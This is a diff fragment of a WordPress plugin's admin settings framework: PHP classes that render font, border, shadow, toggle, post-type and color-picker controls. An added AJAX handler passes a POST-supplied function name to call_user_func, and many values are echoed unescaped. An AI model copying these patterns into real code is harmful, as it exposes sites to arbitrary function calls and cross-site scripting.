+ <option value="Inconsolata" style="font-family: Inconsolata,Inconsolata;"> Inconsolata</option>
682
+ <option value="Irish Growler" style="font-family: Irish Growler,Irish Growler;"> Irish Growler</option>
683
+ <option value="Josefin Sans" style="font-family: Josefin Sans,Josefin Sans;"> Josefin Sans</option>
684
+ <option value="Josefin Slab" style="font-family: Josefin Slab,Josefin Slab;"> Josefin Slab</option>
685
+ <option value="Just Another Hand" style="font-family: Just Another Hand,Just Another Hand;"> Just Another Hand</option>
686
+ <option value="Just Me Again Down Here" style="font-family: Just Me Again Down Here,Just Me Again Down Here;"> Just Me Again Down Here</option>
687
+ <option value="Kenia" style="font-family: Kenia,Kenia;"> Kenia</option>
688
+ <option value="Kranky" style="font-family: Kranky,Kranky;"> Kranky</option>
689
+ <option value="Kristi" style="font-family: Kristi,Kristi;"> Kristi</option>
690
+ <option value="Lato" style="font-family: Lato,Lato;"> Lato</option>
691
+ <option value="Lekton" style="font-family: Lekton,Lekton;"> Lekton</option>
692
+ <option value="Lobster" style="font-family: Lobster,Lobster;"> Lobster</option>
693
+ <option value="Luckiest Guy" style="font-family: Luckiest Guy,Luckiest Guy;"> Luckiest Guy</option>
694
+ <option value="Merriweather" style="font-family: Merriweather,Merriweather;"> Merriweather</option>
695
+ <option value="Molengo" style="font-family: Molengo,Molengo;"> Molengo</option>
696
+ <option value="Mountains of Christmas" style="font-family: Mountains of Christmas,Mountains of Christmas;"> Mountains of Christmas</option>
697
+ <option value="Neucha" style="font-family: Neucha,Neucha;"> Neucha</option>
698
+ <option value="Neuton" style="font-family: Neuton,Neuton;"> Neuton</option>
699
+ <option value="Nobile" style="font-family: Nobile,Nobile;"> Nobile</option>
700
+ <option value="OFL Sorts Mill Goudy TT" style="font-family: OFL Sorts Mill Goudy TT,OFL Sorts Mill Goudy TT;"> OFL Sorts Mill Goudy TT</option>
701
+ <option value="Old Standard TT" style="font-family: Old Standard TT,Old Standard TT;"> Old Standard TT</option>
702
+ <option value="Orbitron" style="font-family: Orbitron,Orbitron;"> Orbitron</option>
703
+ <option value="PT Sans" style="font-family: PT Sans,PT Sans;"> PT Sans</option>
704
+ <option value="PT Sans Caption" style="font-family: PT Sans Caption,PT Sans Caption;"> PT Sans Caption</option>
705
+ <option value="PT Sans Narrow" style="font-family: PT Sans Narrow,PT Sans Narrow;"> PT Sans Narrow</option>
706
+ <option value="Permanent Marker" style="font-family: Permanent Marker,Permanent Marker;"> Permanent Marker</option>
707
+ <option value="Philosopher" style="font-family: Philosopher,Philosopher;"> Philosopher</option>
708
+ <option value="Puritan" style="font-family: Puritan,Puritan;"> Puritan</option>
709
+ <option value="Raleway" style="font-family: Raleway,Raleway;"> Raleway</option>
710
+ <option value="Reenie Beanie" style="font-family: Reenie Beanie,Reenie Beanie;"> Reenie Beanie</option>
711
+ <option value="Rock Salt" style="font-family: Rock Salt,Rock Salt;"> Rock Salt</option>
712
+ <option value="Schoolbell" style="font-family: Schoolbell,Schoolbell;"> Schoolbell</option>
713
+ <option value="Slackey" style="font-family: Slackey,Slackey;"> Slackey</option>
714
+ <option value="Sniglet" style="font-family: Sniglet,Sniglet;"> Sniglet</option>
715
+ <option value="Sunshiney" style="font-family: Sunshiney,Sunshiney;"> Sunshiney</option>
716
+ <option value="Syncopate" style="font-family: Syncopate,Syncopate;"> Syncopate</option>
717
+ <option value="Tangerine" style="font-family: Tangerine,Tangerine;"> Tangerine</option>
718
+ <option value="Tinos" style="font-family: Tinos,Tinos;"> Tinos</option>
719
+ <option value="Ubuntu" style="font-family: Ubuntu,Ubuntu;"> Ubuntu</option>
720
+ <option value="UnifrakturCook" style="font-family: UnifrakturCook,UnifrakturCook;"> UnifrakturCook</option>
721
+ <option value="UnifrakturMaguntia" style="font-family: UnifrakturMaguntia,UnifrakturMaguntia;"> UnifrakturMaguntia</option>
722
+ <option value="Unkempt" style="font-family: Unkempt,Unkempt;"> Unkempt</option>
723
+ <option value="Vibur" style="font-family: Vibur,Vibur;"> Vibur</option>
724
+ <option value="Vollkorn" style="font-family: Vollkorn,Vollkorn;"> Vollkorn</option>
725
+ <option value="Walter Turncoat" style="font-family: Walter Turncoat,Walter Turncoat;"> Walter Turncoat</option>
726
+ <option value="Yanone Kaffeesatz" style="font-family: Yanone Kaffeesatz,Yanone Kaffeesatz;"> Yanone Kaffeesatz</option>
727
+ ';
728
+ $options = explode("<option", $options);
729
+ unset($options[0]);
730
+ foreach ($options as $option) {
731
+ if (strpos(stripslashes($option), '"' . stripslashes($this->font) . '"') !== false) {
732
+ echo "<option selected='selected' " . $option;
733
+ } else {
734
+ echo "<option " . $option;
735
+ }
736
+ }
737
+ if ($this->weight == "")
738
+ $this->weight = "normal";
739
+ echo "</select><br><br>";
740
+ echo "<input type='hidden' value=\"" . $this->data . "\" name='" . $this->name . "'>";
741
+ echo "<input class='wpdreans-fontweight' name='" .self::$_instancenumber . "_font-weight' type='radio' value='normal' " . (($this->weight == 'normal') ? 'checked' : '') . ">Normal</input>";
742
+ echo "<input class='wpdreans-fontweight' name='" .self::$_instancenumber . "_font-weight' type='radio' value='bold' " . (($this->weight == 'bold') ? 'checked' : '') . ">Bold</input><br><br>";
743
+ new wpdreamsColorPickerDummy( self::$_instancenumber . "_color", "", (isset($this->color) ? $this->color : "#000000"));
744
+ echo "<br />" . $this->label . " size (ex.:10em, 10px or 110%): ";
745
+ echo "<input type='text' class='wpdreams-fontsize' style='width:70px;' name='" . self::$_instancenumber . "_size' value='" . $this->size . "' />";
746
+ echo " Line height: <input type='text' class='wpdreams-lineheight' style='width:70px;' name='" . self::$_instancenumber . "_lineheight' value='" . $this->lineheight . "' />";
747
+ new wpdreamsInfo("You can enter the font size in pixels, ems or in percents. For example: 10px or 1.3em or 120%");
748
+ echo "
749
+ <div class='triggerer'></div>
750
+ </fieldset>
751
+ </div>";
752
+ }
753
+ final function getData() {
754
+ return $this->data;
755
+ }
756
+ final function getScript() {
757
+ if (strpos($this->font, "'"))
758
+ return;
759
+ $font = str_replace(" ", "+", trim($this->font));
760
+ ob_start();
761
+ ?>
762
+ <style>
763
+ @import url(http://fonts.googleapis.com/css?family=<?php echo $font; ?>:300|<?php echo $font; ?>:400|<?php echo $font; ?>:700);
764
+ </style>
765
+ <?php
766
+ $out = ob_get_contents();
767
+ ob_end_clean();
768
+ return $out;
769
+ }
770
+ final function getImport() {
771
+ if (strpos($this->font, "'"))
772
+ return;
773
+ $font = str_replace(" ", "+", trim($this->font));
774
+ ob_start();
775
+ ?>
776
+ @import url(http://fonts.googleapis.com/css?family=<?php echo $font; ?>:300|<?php echo $font; ?>:400|<?php echo $font; ?>:700);
777
+ <?php
778
+ $out = ob_get_contents();
779
+ ob_end_clean();
780
+ return $out;
781
+ }
782
+ }
783
+ }
784
+
785
+ if (!class_exists("wpdreamsOnOff")) {
786
+ class wpdreamsOnOff extends wpdreamsType {
787
+ function getType() {
788
+ parent::getType();
789
+ echo "<div class='wpdreamsOnOff'>";
790
+ echo "<label for='wpdreamstext_" . self::$_instancenumber . "'>" . $this->label . "</label>";
791
+ echo "<a class='wpdreamsonoff" . (($this->data == 1) ? " on" : " off") . "' id='wpdreamsonoff_" . self::$_instancenumber . "' name='" . $this->name . "_onoff'>" . (($this->data == 1) ? "ON" : "OFF") . "</a>";
792
+ echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
793
+ echo "<div class='triggerer'></div>
794
+ </div>";
795
+ }
796
+ }
797
+ }
798
+
799
+
800
+ if (!class_exists("wpdreamsYesNo")) {
801
+ class wpdreamsYesNo extends wpdreamsType {
802
+ function getType() {
803
+ parent::getType();
804
+ echo "<div class='wpdreamsYesNo'>";
805
+ echo "<label for='wpdreamstext_" . self::$_instancenumber . "'>" . $this->label . "</label>";
806
+ echo "<a class='wpdreamsyesno" . (($this->data == 1) ? " yes" : " no") . "' id='wpdreamsyesno_" . self::$_instancenumber . "' name='" . $this->name . "_yesno'>" . (($this->data == 1) ? "YES" : "NO") . "</a>";
807
+ echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
808
+ echo "<div class='triggerer'></div>
809
+ </div>";
810
+ }
811
+ }
812
+ }
813
+
814
+ if (!class_exists("wpdreamsImageRadio")) {
815
+ class wpdreamsImageRadio extends wpdreamsType {
816
+ function getType() {
817
+ parent::getType();
818
+ $this->processData();
819
+ echo "<div class='wpdreamsImageRadio'>";
820
+ echo "<span class='radioimage'>" . $this->label . "</span>";
821
+
822
+ foreach ($this->selects as $radio) {
823
+ $radio = trim($radio);
824
+ echo "
825
+ <img src='".plugins_url().$radio."' class='radioimage".(($radio==trim($this->selected))?' selected':'')."'/>
826
+ ";
827
+ }
828
+ echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
829
+ echo "<div class='triggerer'></div>
830
+ </div>";
831
+ }
832
+ function processData() {
833
+ //$this->data = str_replace("\n","",$this->data);
834
+ $_temp = explode("||", $this->data);
835
+ $this->selects = explode(";", $_temp[0]);
836
+ $this->selected = trim($_temp[1]);
837
+ }
838
+ final function getData() {
839
+ return $this->data;
840
+ }
841
+ final function getSelected() {
842
+ return $this->selected;
843
+ }
844
+ }
845
+ }
846
+
847
+
848
+ if (!class_exists("wpdreamsBoxShadow")) {
849
+ class wpdreamsBoxShadow extends wpdreamsType {
850
+ function getType() {
851
+ parent::getType();
852
+ $this->processData();
853
+ echo "
854
+ <div class='wpdreamsBoxShadow'>
855
+ <fieldset>
856
+ <legend>" . $this->label . "</legend>";
857
+ echo "
858
+ <label>Inset</label><select class='smaller' name='_xx_inset_xx_'>
859
+ <option value='' ".(($this->inset=='')?'selected="selected"':'').">None</option>
860
+ <option value='inset' ".(($this->inset=='inset')?'selected="selected"':'').">Inset</option>
861
+ </select><br><br>
862
+ <label>Vertical offset</label><input type='text' class='twodigit' name='_xx_hlength_xx_' value='".$this->hlength."' />px
863
+ <label>Horizontal offset</label><input type='text' class='twodigit' name='_xx_vlength_xx_' value='".$this->vlength."' />px
864
+ <label>Blur radius</label><input type='text' class='twodigit' name='_xx_blurradius_xx_' value='".$this->blurradius."' />px
865
+ <label>Spread</label><input type='text' class='twodigit' name='_xx_spread_xx_' value='".$this->spread."' />px<br><br>
866
+ ";
867
+ new wpdreamsColorPickerDummy("_xx_color_xx_", "Shadow color", (isset($this->color) ? $this->color : "#000000"));
868
+ echo "
869
+ <input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>
870
+ <div class='triggerer'></div>
871
+ </fieldset>
872
+ </div>";
873
+ }
874
+ function processData() {
875
+ $this->data = str_replace("\n", "", $this->data);
876
+ preg_match("/box-shadow:(.*?)px (.*?)px (.*?)px (.*?)px (.*?) (.*?);/", $this->data, $matches);
877
+ $this->inset = $matches[6];
878
+ $this->hlength = $matches[1];
879
+ $this->vlength = $matches[2];
880
+ $this->blurradius = $matches[3];
881
+ $this->spread = $matches[4];
882
+ $this->color = $matches[5];
883
+ }
884
+ final function getData() {
885
+ return $this->data;
886
+ }
887
+ final function getCss() {
888
+ return $this->css;
889
+ }
890
+ }
891
+ }
892
+
893
+
894
+ if (!class_exists("wpdreamsBorder")) {
895
+ class wpdreamsBorder extends wpdreamsType {
896
+ function getType() {
897
+ parent::getType();
898
+ $this->processData();
899
+ echo "
900
+ <div class='wpdreamsBorder'>
901
+ <fieldset>
902
+ <legend>" . $this->label . "</legend>";
903
+ echo "
904
+ <label>Border Style</label><select class='smaller' name='_xx_style_xx_'>
905
+ <option value='none' ".(($this->style=='none')?'selected="selected"':'').">None</option>
906
+ <option value='hidden' ".(($this->style=='hidden')?'selected="selected"':'').">Hidden</option>
907
+ <option value='dotted' ".(($this->style=='dotted')?'selected="selected"':'').">Dotted</option>
908
+ <option value='dashed' ".(($this->style=='dashed')?'selected="selected"':'').">Dashed</option>
909
+ <option value='solid' ".(($this->style=='solid')?'selected="selected"':'').">Solid</option>
910
+ <option value='double' ".(($this->style=='double')?'selected="selected"':'').">Double</option>
911
+ <option value='groove' ".(($this->style=='groove')?'selected="selected"':'').">Groove</option>
912
+ <option value='groove' ".(($this->style=='groove')?'selected="selected"':'').">Ridge</option>
913
+ <option value='inset' ".(($this->style=='inset')?'selected="selected"':'').">Inset</option>
914
+ <option value='outset' ".(($this->style=='outset')?'selected="selected"':'').">Outset</option>
915
+ </select><br><br>
916
+ <label>Border Width</label><input type='text' class='twodigit' name='_xx_width_xx_' value='".$this->width."' />px
917
+ <br><br>";
918
+ new wpdreamsColorPickerDummy("_xx_color_xx_", "Border color", (isset($this->color) ? $this->color : "#000000"));
919
+ echo "<span style='margin-right:550px;color:#222;'>Border Radius Options:</span><br><br>
920
+ <label>Top-Left</label><input type='text' class='twodigit' name='_xx_topleft_xx_' value='".$this->topleft."' />px
921
+ <label>Top-Right</label><input type='text' class='twodigit' name='_xx_topright_xx_' value='".$this->topright."' />px
922
+ <label>Bottom-Right</label><input type='text' class='twodigit' name='_xx_bottomright_xx_' value='".$this->bottomright."' />px
923
+ <label>Bottom-Left</label><input type='text' class='twodigit' name='_xx_bottomleft_xx_' value='".$this->bottomleft."' />px
924
+ ";
925
+
926
+ echo "
927
+ <input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>
928
+ <div class='triggerer'></div>
929
+ </fieldset>
930
+ </div>";
931
+ }
932
+ function processData() {
933
+ $this->data = str_replace("\n", "", $this->data);
934
+
935
+ preg_match("/border-radius:(.*?)px(.*?)px(.*?)px(.*?)px;/", $this->data, $matches);
936
+ $this->topleft = $matches[1];
937
+ $this->topright = $matches[2];
938
+ $this->bottomright = $matches[3];
939
+ $this->bottomleft = $matches[4];
940
+
941
+ preg_match("/border:(.*?)px (.*?) (.*?);/", $this->data, $matches);
942
+ $this->width = $matches[1];
943
+ $this->style = $matches[2];
944
+ $this->color = $matches[3];
945
+
946
+ }
947
+ final function getData() {
948
+ return $this->data;
949
+ }
950
+ final function getCss() {
951
+ return $this->css;
952
+ }
953
+ }
954
+ }
955
+
956
+
957
+ if (!class_exists("wpdreamsBorderRadius")) {
958
+ class wpdreamsBorderRadius extends wpdreamsType {
959
+ function getType() {
960
+ parent::getType();
961
+ $this->processData();
962
+ echo "
963
+ <div class='wpdreamsBorderRadius'>
964
+ <fieldset>
965
+ <legend>" . $this->label . "</legend>";
966
+ echo "
967
+ <label>Top Left</label><input type='text' class='twodigit' name='topleft' value='".$this->topleft."' />px
968
+ <label>Top Right</label><input type='text' class='twodigit' name='topright' value='".$this->topright."' />px
969
+ <label>Bottom Right</label><input type='text' class='twodigit' name='bottomright' value='".$this->bottomright."' />px
970
+ <label>Bottom Left</label><input type='text' class='twodigit' name='bottomleft' value='".$this->bottomleft."' />px<br><br>
971
+ ";
972
+ echo "
973
+ <input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>
974
+ <div class='triggerer'></div>
975
+ </fieldset>
976
+ </div>";
977
+ }
978
+ function processData() {
979
+ $this->data = str_replace("\n", "", $this->data);
980
+ preg_match("/border-radius:(.*?)px(.*?)px(.*?)px(.*?)px;/", $this->data, $matches);
981
+ $this->topleft = $matches[1];
982
+ $this->topright = $matches[2];
983
+ $this->bottomright = $matches[3];
984
+ $this->bottomleft = $matches[4];
985
+ //$this->css = "border-radius:".$this->topleft."px ".$this->topright."px ".$this->bottomright."px ".$this->bottomleft."px;";
986
+ }
987
+ final function getData() {
988
+ return $this->data;
989
+ }
990
+ /*final function getCss() {
991
+ return $this->css;
992
+ }*/
993
+ }
994
+ }
995
+
996
+ if (!class_exists("wpdreamsCustomPostTypes")) {
997
+ class wpdreamsCustomPostTypes extends wpdreamsType {
998
+ function getType() {
999
+ parent::getType();
1000
+ $this->processData();
1001
+ $this->types = get_post_types(array(
1002
+ '_builtin'=>false
1003
+ ));
1004
+ echo "
1005
+ <div class='wpdreamsCustomPostTypes'>
1006
+ <fieldset>
1007
+ <legend>" . $this->label . "</legend>";
1008
+ echo '<div class="sortablecontainer">Available post types<ul id="sortable'.self::$_instancenumber.'" class="connectedSortable">';
1009
+ if ($this->types!=null && is_array($this->types)) {
1010
+ foreach($this->types as $k=>$v) {
1011
+ if ($this->selected==null || !in_array($v, $this->selected)) {
1012
+ echo '<li class="ui-state-default">'.$k.'</li>';
1013
+ }
1014
+ }
1015
+ }
1016
+ echo "</ul></div>";
1017
+ echo '<div class="sortablecontainer">Drag here the post types you want to use!<ul id="sortable_conn'.self::$_instancenumber.'" class="connectedSortable">';
1018
+ if ($this->selected!=null && is_array($this->selected)) {
1019
+ foreach($this->selected as $k=>$v) {
1020
+ echo '<li class="ui-state-default">'.$v.'</li>';
1021
+ }
1022
+ }
1023
+ echo "</ul></div>";
1024
+ echo "
1025
+ <input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
1026
+ ?>
1027
+ <script>
1028
+ (function($) {
1029
+ $(document).ready(function() {
1030
+ $( "#sortable<?php echo self::$_instancenumber ?>, #sortable_conn<?php echo self::$_instancenumber ?>" ).sortable({
1031
+ connectWith: ".connectedSortable"
1032
+ }, {
1033
+ update: function(event, ui) {
1034
+ parent = $(ui.item).parent();
1035
+ while(!parent.hasClass('wpdreamsCustomPostTypes')) {
1036
+ parent=$(parent).parent();
1037
+ }
1038
+ var items = $('ul[id*=sortable_conn] li',parent);
1039
+ var hidden = $('input[type=hidden]', parent);
1040
+ console.log(items, hidden);
1041
+ var val = "";
1042
+ items.each(function(){
1043
+ val+= "|"+$(this).html();
1044
+ });
1045
+ val = val.substring(1);
1046
+ hidden.val(val);
1047
+ }
1048
+ }).disableSelection();
1049
+ });
1050
+ }(jQuery));
1051
+ </script>
1052
+ <?php
1053
+ echo "
1054
+ </fieldset>
1055
+ </div>";
1056
+ }
1057
+ function processData() {
1058
+ $this->data = str_replace("\n", "", $this->data);
1059
+ if ($this->data!="")
1060
+ $this->selected = explode("|", $this->data);
1061
+ else
1062
+ $this->selected = null;
1063
+ //$this->css = "border-radius:".$this->topleft."px ".$this->topright."px ".$this->bottomright."px ".$this->bottomleft."px;";
1064
+ }
1065
+ final function getData() {
1066
+ return $this->data;
1067
+ }
1068
+ final function getSelected() {
1069
+ return $this->selected;
1070
+ }
1071
+ }
1072
+ }
1073
+
1074
+ if (!class_exists("wpdreamsCustomPostTypesEditable")) {
1075
+ class wpdreamsCustomPostTypesEditable extends wpdreamsType {
1076
+ function getType() {
1077
+ parent::getType();
1078
+ $this->processData();
1079
+ $this->types = get_post_types(array(
1080
+ '_builtin'=>false
1081
+ ));
1082
+ echo "
1083
+ <div class='wpdreamsCustomPostTypesEditable'>
1084
+ <fieldset>
1085
+ <legend>" . $this->label . "</legend>";
1086
+ echo '<div class="sortablecontainer">Available post types<ul id="sortable'.self::$_instancenumber.'" class="connectedSortable">';
1087
+ if ($this->types!=null && is_array($this->types)) {
1088
+ foreach($this->types as $k=>$v) {
1089
+ if ($this->selected==null || !in_array_r($v, $this->selected)) {
1090
+ echo '<li class="ui-state-default" style="background: #ddd;">
1091
+ <span>'.$k.'</span><br>
1092
+ <input type="text" value="'.$k.'"/>
1093
+ </li>';
1094
+ }
1095
+ }
1096
+ }
1097
+ echo "</ul></div>";
1098
+ echo '<div class="sortablecontainer">Drag here the post types you want to use!<ul id="sortable_conn'.self::$_instancenumber.'" class="connectedSortable">';
1099
+ if ($this->selected!=null && is_array($this->selected)) {
1100
+ foreach($this->selected as $k=>$v) {
1101
+ echo '<li class="ui-state-default" style="background: #ddd;">
1102
+ <span>'.$v[0].'</span><br>
1103
+ <input type="text" value="'.$v[1].'"/>
1104
+ </li>';
1105
+ }
1106
+ }
1107
+ echo "</ul></div>";
1108
+ echo "
1109
+ <input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
1110
+ ?>
1111
+ <script>
1112
+ (function($) {
1113
+ $(document).ready(function() {
1114
+ $("#sortable_conn<?php echo self::$_instancenumber ?> li input" ).keyup(function() {
1115
+ parent = $(this).parent();
1116
+ while(!parent.hasClass('wpdreamsCustomPostTypesEditable')) {
1117
+ parent=$(parent).parent();
1118
+ }
1119
+ var items = $('ul[id*=sortable_conn] li',parent);
1120
+ var hidden = $('input[type=hidden]', parent);
1121
+ var val = "";
1122
+ console.log(hidden, items);
1123
+ items.each(function(){
1124
+ val+= "|"+$('span', this).html()+";"+$('input', this).val();
1125
+ });
1126
+ val = val.substring(1);
1127
+ hidden.val(val);
1128
+ });
1129
+ $( "#sortable<?php echo self::$_instancenumber ?>, #sortable_conn<?php echo self::$_instancenumber ?>" ).sortable({
1130
+ connectWith: ".connectedSortable"
1131
+ }, {
1132
+ update: function(event, ui) {
1133
+ $("#sortable_conn<?php echo self::$_instancenumber ?> li input" ).keyup(function() {
1134
+ parent = $(this).parent();
1135
+ while(!parent.hasClass('wpdreamsCustomPostTypesEditable')) {
1136
+ parent=$(parent).parent();
1137
+ }
1138
+ var items = $('ul[id*=sortable_conn] li',parent);
1139
+ var hidden = $('input[type=hidden]', parent);
1140
+ var val = "";
1141
+ console.log(hidden, items);
1142
+ items.each(function(){
1143
+ val+= "|"+$('span', this).html()+";"+$('input', this).val();
1144
+ });
1145
+ val = val.substring(1);
1146
+ hidden.val(val);
1147
+ });
1148
+ $("#sortable_conn<?php echo self::$_instancenumber ?> li input" ).keyup();
1149
+ }
1150
+ });
1151
+ });
1152
+
1153
+ }(jQuery));
1154
+ </script>
1155
+ <?php
1156
+ echo "
1157
+ </fieldset>
1158
+ </div>";
1159
+ }
1160
+ function processData() {
1161
+ $this->data = str_replace("\n", "", $this->data);
1162
+ if ($this->data!="") {
1163
+ $this->_t = explode("|", $this->data);
1164
+ foreach($this->_t as $k=>$v) {
1165
+ $this->selected[] = explode(';', $v);
1166
+ }
1167
+ } else {
1168
+ $this->selected = null;
1169
+ }
1170
+ }
1171
+ final function getData() {
1172
+ return $this->data;
1173
+ }
1174
+ final function getSelected() {
1175
+ return $this->selected;
1176
+ }
1177
+ }
1178
+ }
1179
+
1180
+ if (!class_exists("wpdreamsImageSettings")) {
1181
+ class wpdreamsImageSettings extends wpdreamsType {
1182
+ function getType() {
1183
+ parent::getType();
1184
+ $this->processData();
1185
+ echo "
1186
+ <div class='wpdreamsImageSettings'>
1187
+ <fieldset>
1188
+ <legend>" . $this->label . "</legend>";
1189
+ new wpdreamsYesNo("show", "Show Images", $this->show);
1190
+ echo "<br><br>";
1191
+ new wpdreamsYesNo("cache", "Cache Images", $this->cache);
1192
+ echo "
1193
+ <br><br>
1194
+ <label>Use post featured image</label><select class='smaller' name='featured'>
1195
+ <option value='-1' ".(($this->featured==-1)?'selected="selected"':'').">Don't use</option>
1196
+ <option value='0' ".(($this->featured==0)?'selected="selected"':'').">High Priority</option>
1197
+ <option value='1' ".(($this->featured==1)?'selected="selected"':'').">Medium Priority</option>
1198
+ <option value='2' ".(($this->featured==2)?'selected="selected"':'').">Low Priority</option>
1199
+ </select><br><br>
1200
+ <label>Search for images in post content</label><select class='smaller' name='content'>
1201
+ <option value='-1' ".(($this->content==-1)?'selected="selected"':'').">Don't use</option>
1202
+ <option value='0' ".(($this->content==0)?'selected="selected"':'').">High Priority</option>
1203
+ <option value='1' ".(($this->content==1)?'selected="selected"':'').">Medium Priority</option>
1204
+ <option value='2' ".(($this->content==2)?'selected="selected"':'').">Low Priority</option>
1205
+ </select><br><br>
1206
+ <label>Search for images in post excerpt</label><select class='smaller' name='excerpt'>
1207
+ <option value='-1' ".(($this->excerpt==-1)?'selected="selected"':'').">Don't use</option>
1208
+ <option value='0' ".(($this->excerpt==0)?'selected="selected"':'').">High Priority</option>
1209
+ <option value='1' ".(($this->excerpt==1)?'selected="selected"':'').">Medium Priority</option>
1210
+ <option value='2' ".(($this->excerpt==2)?'selected="selected"':'').">Low Priority</option>
1211
+ </select><br><br>
1212
+ <label>Use the </label><select class='smaller' name='imagenum'>
1213
+ <option value='1' ".(($this->imagenum==1)?'selected="selected"':'').">1. found image</option>
1214
+ <option value='2' ".(($this->imagenum==2)?'selected="selected"':'').">2. found image</option>
1215
+ <option value='3' ".(($this->imagenum==3)?'selected="selected"':'').">3. found image</option>
1216
+ </select><br><br>
1217
+ <label>Image Size:</label>
1218
+ <span style='color:#888;font-size:0.9em'>Width </span><input class='threedigit' param=0 type='text' value='".$this->width."' name='width' /><span style='color:#888;font-size:0.9em;margin-right:10px;'> px</span>
1219
+ <span style='color:#888;font-size:0.9em'>Height </span><input class='threedigit' param=0 type='text' value='".$this->height."' name='height' /><span style='color:#888;font-size:0.9em;margin-right:10px;'> px</span>
1220
+ ";
1221
+ echo "
1222
+ <input type='hidden' param=1 value='" . $this->data . "' name='" . $this->name . "'>
1223
+ <div class='triggerer'></div>
1224
+ </fieldset>
1225
+ </div>";
1226
+ }
1227
+ function processData() {
1228
+ $this->data = str_replace("\n", "", $this->data);
1229
+ preg_match("/show:(.*?);/", $this->data, $matches);
1230
+ $this->show = $matches[1];
1231
+ preg_match("/cache:(.*?);/", $this->data, $matches);
1232
+ $this->cache = $matches[1];
1233
+ preg_match("/featured:(.*?);/", $this->data, $matches);
1234
+ $this->featured = $matches[1];
1235
+ preg_match("/content:(.*?);/", $this->data, $matches);
1236
+ $this->content = $matches[1];
1237
+ preg_match("/excerpt:(.*?);/", $this->data, $matches);
1238
+ $this->excerpt= $matches[1];
1239
+ preg_match("/imagenum:(.*?);/", $this->data, $matches);
1240
+ $this->imagenum = $matches[1];
1241
+ preg_match("/width:(.*?);/", $this->data, $matches);
1242
+ $this->width = $matches[1];
1243
+ preg_match("/height:(.*?);/", $this->data, $matches);
1244
+ $this->height = $matches[1];
1245
+ $this->ret = array();
1246
+ $this->ret['show'] = $this->show;
1247
+ $this->ret['cache'] = $this->cache;
1248
+ $this->ret['width'] = $this->width;
1249
+ $this->ret['height'] = $this->height;
1250
+ $this->ret['imagenum'] = $this->imagenum;
1251
+ $this->ret['from'] = array(
1252
+ $this->featured=>"featured",
1253
+ $this->content=>"content",
1254
+ $this->excerpt=>"excerpt"
1255
+ );
1256
+ }
1257
+ final function getData() {
1258
+ return $this->data;
1259
+ }
1260
+ final function getSettings() {
1261
+ return $this->ret;
1262
+ }
1263
+ }
1264
+ }
1265
+
1266
+ if (!class_exists("wpdreamsThemeChooser")) {
1267
+ class wpdreamsThemeChooser extends wpdreamsType {
1268
+ function getType() {
1269
+ parent::getType();
1270
+ echo "
1271
+ <div class='wpdreamsThemeChooser'>
1272
+ <fieldset style='background:#eee'>
1273
+ <label style='color:#333' for='wpdreamsThemeChooser_'" . self::$_instancenumber . "'>" . $this->label . "</label>";
1274
+ $decodedData = json_decode($this->data);
1275
+ echo "<select id='wpdreamsThemeChooser_" . self::$_instancenumber . "'>
1276
+ <option value=''>Select</option>";
1277
+ foreach ($decodedData as $name=>$theme) {
1278
+ echo "<option value='".$name."'>".$name."</option>";
1279
+ }
1280
+ echo "</select>";
1281
+ foreach ($decodedData as $name=>$theme) {
1282
+ echo "<div name='".$name."' style='display:none;'>";
1283
+ foreach ($theme as $pname=>$param) {
1284
+ echo "<p paramname='".$pname."'>".$param."</p>";
1285
+ }
1286
+ echo "</div>";
1287
+ }
1288
+ echo "
1289
+ <span></span></fieldset>
1290
+ </div>";
1291
+ }
1292
+ }
1293
+ }
1294
+ if (!class_exists("wpdreamsColorPicker")) {
1295
+ class wpdreamsColorPicker extends wpdreamsType {
1296
+ function getType() {
1297
+ $this->name = $this->name . "_colorpicker";
1298
+ parent::getType();
1299
+ echo "<div class='wpdreamsColorPicker'>";
1300
+ if ($this->label != "")
1301
+ echo "<label for='wpdreamscolorpicker_" . self::$_instancenumber . "'>" . $this->label . "</label>";
1302
+ echo "<input type='text' class='color' name='" . $this->name . "' id='wpdreamscolorpicker_" . self::$_instancenumber . "' value='" . $this->data . "' />";
1303
+ echo "<input type='button' class='wpdreamscolorpicker button-secondary' value='Select Color'>";
1304
+ echo "<div class='' style='z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;'></div>";
1305
+ echo "<div class='triggerer'></div>
1306
+ </div>";
1307
+ }
1308
+ }
1309
+ }
1310
+
1311
+ if (!class_exists("wpdreamsColorPickerDummy")) {
1312
+ class wpdreamsColorPickerDummy extends wpdreamsType {
1313
+ function getType() {
1314
+ $this->name = $this->name . "_colorpicker";
1315
+ echo "<div class='wpdreamsColorPicker'>";
1316
+ if ($this->label != "")
1317
+ echo "<label for='wpdreamscolorpicker_" . self::$_instancenumber . "'>" . $this->label . "</label>";
1318
+ echo "<input type='text' class='color' name='" . $this->name . "' id='wpdreamscolorpicker_" . self::$_instancenumber . "' value='" . $this->data . "' />";
1319
+ echo "<input type='button' class='wpdreamscolorpicker button-secondary' value='Select Color'>";
1320
+ echo "<div class='' style='z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;'></div>";
1321
+ echo "<div class='triggerer'></div>
1322
+ </div>";
1323
+ }
1324
+ }
1325
+ }
1326
+
1327
+ add_action('admin_print_styles', 'admin_stylesV02t');
1328
+ add_action('admin_enqueue_scripts', 'admin_scriptsV02t');
1329
+ add_action('wp_ajax_wpdreams-ajaxinput', "ajaxinputcallback");
1330
+ if (!function_exists("ajaxinputcallback")) {
1331
+ function ajaxinputcallback() {
1332
+ $param = $_POST;
1333
+ echo call_user_func($_POST['callback'], $param);
1334
+ exit;
1335
+ }
1336
+ }
1337
+ function admin_scriptsV02t() {
1338
+ wp_enqueue_script('jquery');
1339
+ wp_enqueue_script('media-upload');
1340
+ wp_enqueue_script('thickbox');
1341
+ wp_enqueue_script('farbtastic', array(
1342
+ 'wpdreams-jquerytooltip'
1343
+ ));
1344
+ wp_register_script('wpdreams-others', plugin_dir_url(__FILE__) . '/types/others.js', array(
1345
+ 'jquery',
1346
+ 'thickbox',
1347
+ 'farbtastic',
1348
+ 'wpdreams-notytheme'
1349
+ ));
1350
